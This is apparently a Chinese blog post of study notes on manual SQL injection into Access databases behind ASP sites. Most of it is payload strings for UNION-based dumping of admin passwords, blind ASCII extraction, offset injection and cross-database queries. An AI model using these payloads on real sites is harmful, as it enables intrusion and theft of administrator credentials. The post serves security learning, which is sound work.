美文网首页
SQL注入之Access数据库

SQL注入之Access数据库

作者: 干扰 | 来源:发表于2018-06-05 23:15 被阅读29次
(本文为学习笔记,介绍的Access数据库SQL注入方法建立在最理想的状态下,实际中会遇到各种问题,遇到问题百度一下)

基本知识:

  • Access数据库多用于小型站点,企业,政府这种基本不会改动什么的网站
  • Access数据库后缀名:*.mdb
  • 打开工具:辅臣数据库浏览器,破障浏览器等

注入判断:

  1. 判断注入点
    ' 错误
    and 1=1 正常
    and 1=2 错误
    满足以上条件即存在注入

  2. 判断数据库类型
    and exists (select * from msysobjects)>0
    返回正常,即可判断其为Access数据库

    and exists (select * from sysobjects)>0
    返回正常,即可判断其为MSSQL数据库

  3. 判断数据库表名
    and exists (select * from admin)
    若存在admin表,页面返回正常,反之报错

  4. 判断数据库列名
    and exists (select password from admin)
    若admin表中password列,返回正常,反之报错

  5. 判断当前页面查询字段(列)长度
    order by 7
    若返回正常,加大数值,直到返回页面错误,判断出字段长度

  6. 页面报错
    union select 1,2,3,4,5,6,7 from admin
    查询admin表,页面报错出可以查询列名的位置

  7. 数据库联合查询
    union select 1,2,3,4,password,6,7,8,9 from admin
    在页面报错位置,查询admin表中password列(字段)名,将会在页面上爆出来列(字段)信息


其他相关知识:

(有些情况下并不能直接得到想要的信息,可能会用到下面的一些方法)

  • 判断列(字段)的长度
    and (select len(password) from admin)=5
    若返回正常,说明password列(字段)长度为5

  • 已知列(字段)长度,通过ascii判断每个字符对应信息
    and (select top 1 asc(mid(password,1,1)) from admin)>100
    返回正常说明大于,返回错误说明不大于

    and (select top 1 asc(mid(password,1,1)) from admin)>50
    返回正常说明大于

    and (select top 1 asc(mid(password,1,1)) from admin)=97
    返回正常,说明password列(字段)第一个字符ASCII码为97

    通过ASCII对应表可以查到97对应a

    and (select top 1 asc(mid(password,2,1)) from admin)>100
    接着判断password列(字段)第二个字符

    and (select top 1 asc(mid(password,3,1)) from admin)>100
    接着判断password列(字段)第三个字符

  • 偏移注入
    什么时候用? 猜出表名,猜不出列名时

    DemoURL:http://192.168.18.136/about.asp?id=8 UNION SELECT 1,2,3,4,5,6 from admin

    长度为6,开始从最后一位用*代替,直到页面不出错

    用*依次向前替换,直到页面显示正常(假设3是页面正常)
    UNION SELECT 1,2,3,4,5,* from admin
    UNION SELECT 1,2,3,4,* from admin
    UNION SELECT 1,2,3,* from admin

    套用公式
    6-3=3
    0+3*2=6

    从第1位开始替换,类比套用下面语句
    UNION SELECT a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)

    如果是更多位
    UNION SELECT a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

    偏移注入会随机爆出一个字段内容,具体是什么看运气

    偏移注入相关参数查找

    1. 后台登录文件源码表单里面的参数值
    2. 看网站地址链接上的规则
    3. 是否判断出对方使用CMS程序
  • Access跨库查询
    作用:直接查询到B站admin表中的管理员密码(条件很难满足,实际基本用不到)

    条件:A站与B站同在一个服务器,A站有SQL注入,B站没有,此时知道B站数据库 绝对路径,表名,列名

    UNION SELECT 1,2,3,4,password,6 from [C:\www\a.mdb].admin
    上面语句实现跨库查询


相关文章

  • 小迪16期-20170305

    第三天:Sql注入技巧篇 1.Sql注入之access注入 access数据库结构数据库表名数据库列名数据 1.a...

  • 小迪16期-20170226

    第二天:Sql注入集锦篇 1.Sql注入之access注入 2.Sql注入之mysql注入 3.Sql注入之mss...

  • SQL注入之Access数据库

    (本文为学习笔记,介绍的Access数据库SQL注入方法建立在最理想的状态下,实际中会遇到各种问题,遇到问题百度一...

  • sqlmap从入门到精通-第七章-7-所有-各种绕过技术

    7. SQL注入绕过技术 本章主要内容 1. Access 数据库手工绕过通用代码防注入系统 2. sqlmap绕...

  • SQL手工注入漏洞测试(Access数据库)

    Access数据库的SQL手工注入,用联合语句显示可显字段时,必须要“from 表名”。 1、判断注入点。 /ne...

  • sql注入思路及过程(笔记)

    access数据库: Sql注入原理分析: 网站程序存在可控传递参数,参数未进行过滤直接带入数据库查询,导致攻击者...

  • Python中该怎么防止SQL注入

    SQL注入 SQL攻击(SQL injection),简称注入攻击,是发生于应用程序之数据库层的安全漏洞。简而言之...

  • Django 常见Web攻击

    1、sql注入攻击与防范 sql注入是黑客攻击数据库最常用的手段。sql注入的危害: 非法读取、篡改、删除数据库中...

  • 安全测试基础之SQL注入

    传说,SQL注入是黑客对数据库进行攻击的常用手段,今天就来介绍一下SQL注入。 01 — SQL注入介绍 SQL注...

  • PHP代码安全之SQL注入

    PHP代码安全之SQL注入 1、什么是SQL注入? SQL攻击(英语:SQL injection),简称注入攻击,...

网友评论

      本文标题:SQL注入之Access数据库

      本文链接:https://www.haomeiwen.com/subject/yftvsftx.html